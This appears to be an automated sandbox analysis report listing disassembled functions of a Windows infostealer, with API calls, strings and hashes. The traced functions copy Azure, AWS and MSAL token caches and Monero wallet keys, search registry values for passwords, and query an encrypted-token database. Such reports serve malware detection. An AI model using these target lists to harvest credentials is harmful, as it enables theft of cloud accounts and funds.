Function 006D4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

lstrcat.KERNEL32(?,00000000), ref: 006D4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 006D4DCD

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D492C
Part of subcall function 006D4910: FindFirstFileA.KERNEL32(?,?), ref: 006D4943

lstrcat.KERNEL32(?,00000000), ref: 006D4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 006D4E59

Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E0FDC), ref: 006D4971
Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E0FE0), ref: 006D4987
Part of subcall function 006D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006D4B7D
Part of subcall function 006D4910: FindClose.KERNEL32(000000FF), ref: 006D4B92

lstrcat.KERNEL32(?,00000000), ref: 006D4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 006D4EE5

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D49B0
Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E08D2), ref: 006D49C5
Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D49E2
Part of subcall function 006D4910: PathMatchSpecA.SHLWAPI(?,?), ref: 006D4A1E
Part of subcall function 006D4910: lstrcat.KERNEL32(?,013EE440), ref: 006D4A4A
Part of subcall function 006D4910: lstrcat.KERNEL32(?,006E0FF8), ref: 006D4A5C
Part of subcall function 006D4910: lstrcat.KERNEL32(?,?), ref: 006D4A70
Part of subcall function 006D4910: lstrcat.KERNEL32(?,006E0FFC), ref: 006D4A82
Part of subcall function 006D4910: lstrcat.KERNEL32(?,?), ref: 006D4A96
Part of subcall function 006D4910: CopyFileA.KERNEL32(?,?,00000001), ref: 006D4AAC
Part of subcall function 006D4910: DeleteFileA.KERNEL32(?), ref: 006D4B31

Strings

msal.cache, xrefs: 006D4EF0
\.aws\, xrefs: 006D4E4D
\.azure\, xrefs: 006D4DC1
Azure\.aws, xrefs: 006D4E5F
*.*, xrefs: 006D4E64
Azure\.IdentityService, xrefs: 006D4EEB
\.IdentityService\, xrefs: 006D4ED9
Azure\.azure, xrefs: 006D4DD3
*.*, xrefs: 006D4DD8

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 383355ae04dfe0d31e2a3d429185327713c66d8e136df31e5bb10ec8119b937d
Instruction ID: 5531aa76e95d014681c2f10d0d3f9afe4772f54e39ff3e93d6f759dbae21959b
Opcode Fuzzy Hash: 383355ae04dfe0d31e2a3d429185327713c66d8e136df31e5bb10ec8119b937d
Instruction Fuzzy Hash: AB41E4BA94030867CB90F770DC47FED333AAB61700F404458B6856A1C2EEB49BC9DB92

Function 006C1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006C12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006C12B4
Part of subcall function 006C12A0: RtlAllocateHeap.NTDLL(00000000), ref: 006C12BB
Part of subcall function 006C12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006C12D7
Part of subcall function 006C12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006C12F5
Part of subcall function 006C12A0: RegCloseKey.ADVAPI32(?), ref: 006C12FF

lstrcat.KERNEL32(?,00000000), ref: 006C134F
lstrlen.KERNEL32(?), ref: 006C135C
lstrcat.KERNEL32(?,.keys), ref: 006C1377

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D8B60: GetSystemTime.KERNEL32(006E0E1A,013E9B28,006E05AE,?,?,006C13F9,?,0000001A,006E0E1A,00000000,?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006D8B86

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 006C1465

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C99EC
Part of subcall function 006C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006C9A11
Part of subcall function 006C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006C9A31
Part of subcall function 006C99C0: ReadFile.KERNEL32(000000FF,?,00000000,006C148F,00000000), ref: 006C9A5A
Part of subcall function 006C99C0: LocalFree.KERNEL32(006C148F), ref: 006C9A90
Part of subcall function 006C99C0: CloseHandle.KERNEL32(000000FF), ref: 006C9A9A

DeleteFileA.KERNEL32(00000000), ref: 006C14EF

Strings

.keys, xrefs: 006C136B
wallet_path, xrefs: 006C1330
SOFTWARE\monero-project\monero-core, xrefs: 006C1335
\Monero\wallet.keys, xrefs: 006C138D

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 928bd5c191f05568ac1e66f2a926f45a73a8725d1ee6d6241e0f76e6d2999d77
Instruction ID: 0f439d17d33845f39df02ae169a3cf4023b41de5e58939ad122880159c28ec81
Opcode Fuzzy Hash: 928bd5c191f05568ac1e66f2a926f45a73a8725d1ee6d6241e0f76e6d2999d77
Instruction Fuzzy Hash: 335197B1D142185BCB55FB60DC92FED733DAF54300F40419DB60A66182EE706B89CFAA

Function 006D7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006D7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006D757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7603
RtlAllocateHeap.NTDLL(00000000), ref: 006D760A
wsprintfA.USER32 ref: 006D7640

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Strings

:, xrefs: 006D755C
n, xrefs: 006D764D, 006D7655, 006D761B, 006D7623
C, xrefs: 006D754C
\, xrefs: 006D7560

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$n
API String ID: 1544550907-942196672
Opcode ID: eec749050b1cf2017b136e008155fdabf702f2e086a56f4c725e786b516e663c
Instruction ID: 8eb5e48f9d58e4cd24616a35820df2b7b407c93b7c91b3d817eeaf85a854d5ce
Opcode Fuzzy Hash: eec749050b1cf2017b136e008155fdabf702f2e086a56f4c725e786b516e663c
Instruction Fuzzy Hash: 964183B1D04358AFDB10DF94DC45BEEBBB9AF08704F10419AF50967380EB75AA44CBA6

Function 006C75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006C72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 006C733A
Part of subcall function 006C72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006C73B1
Part of subcall function 006C72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006C740D
Part of subcall function 006C72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 006C7452
Part of subcall function 006C72D0: HeapFree.KERNEL32(00000000), ref: 006C7459

lstrcat.KERNEL32(35B45020,006E17FC), ref: 006C7606
lstrcat.KERNEL32(35B45020,00000000), ref: 006C7648
lstrcat.KERNEL32(35B45020, : ), ref: 006C765A
lstrcat.KERNEL32(35B45020,00000000), ref: 006C768F
lstrcat.KERNEL32(35B45020,006E1804), ref: 006C76A0
lstrcat.KERNEL32(35B45020,00000000), ref: 006C76D3
lstrcat.KERNEL32(35B45020,006E1808), ref: 006C76ED
task.LIBCPMTD ref: 006C76FB

Strings

: , xrefs: 006C764E

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 0ab76b8e4a27302ffcda718ecdd3e7c51eb660e092f0077775ffd0f67af6b6bb
Instruction ID: 289eeb8c6b4f81a934a83c197d6af3303d56d1f73b10fba8de66b91db10b0c22
Opcode Fuzzy Hash: 0ab76b8e4a27302ffcda718ecdd3e7c51eb660e092f0077775ffd0f67af6b6bb
Instruction Fuzzy Hash: FB314971915209DFCB44EBA5DC85EFF73BAEB84301B14411CE502A7290DA34A946EBA5

Function 006D8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013ED9F8,00000000,?,006E0E2C,00000000,?,00000000), ref: 006D8130
RtlAllocateHeap.NTDLL(00000000), ref: 006D8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006D8158
__aulldiv.LIBCMT ref: 006D8172
__aulldiv.LIBCMT ref: 006D8180
wsprintfA.USER32 ref: 006D81AC

Strings

@, xrefs: 006D814D
%d MB, xrefs: 006D81A3

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 4e9b8fbb31ca37b69186e4781ebcb84cc178d309134b7c2281877ab48830a109
Instruction ID: 3702b74e058fd69aa000d62dcd5a24156e9e5f15396af874013f25de66f8ce77
Opcode Fuzzy Hash: 4e9b8fbb31ca37b69186e4781ebcb84cc178d309134b7c2281877ab48830a109
Instruction Fuzzy Hash: C72127B1E44318AFDB00DFD5CC49FAEB7B9FB44B00F10420AF605AB280C77869058BA9

Function 006C72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 006C733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006C73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006C740D
GetProcessHeap.KERNEL32(00000000,?), ref: 006C7452
HeapFree.KERNEL32(00000000), ref: 006C7459
task.LIBCPMTD ref: 006C7555

Strings

Password, xrefs: 006C7401

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 796180ef2df389b22326c3c25cd2de8fd0f2ca4a2705fc4181b39dcae74dea81
Instruction ID: 701ed74c47bd3eb86546fff757013025c996b33497246069e2354f7e7e717249
Opcode Fuzzy Hash: 796180ef2df389b22326c3c25cd2de8fd0f2ca4a2705fc4181b39dcae74dea81
Instruction Fuzzy Hash: 8A610AB59142689BDB24DB50CC45FEAB7B9FF44300F0081EDE689A6241DB706BC9CFA5

Function 006CBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

lstrlen.KERNEL32(00000000), ref: 006CBC9F

Part of subcall function 006D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006D8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 006CBCCD
lstrlen.KERNEL32(00000000), ref: 006CBDA5
lstrlen.KERNEL32(00000000), ref: 006CBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 006CBBEB
AccountTokens, xrefs: 006CBABA
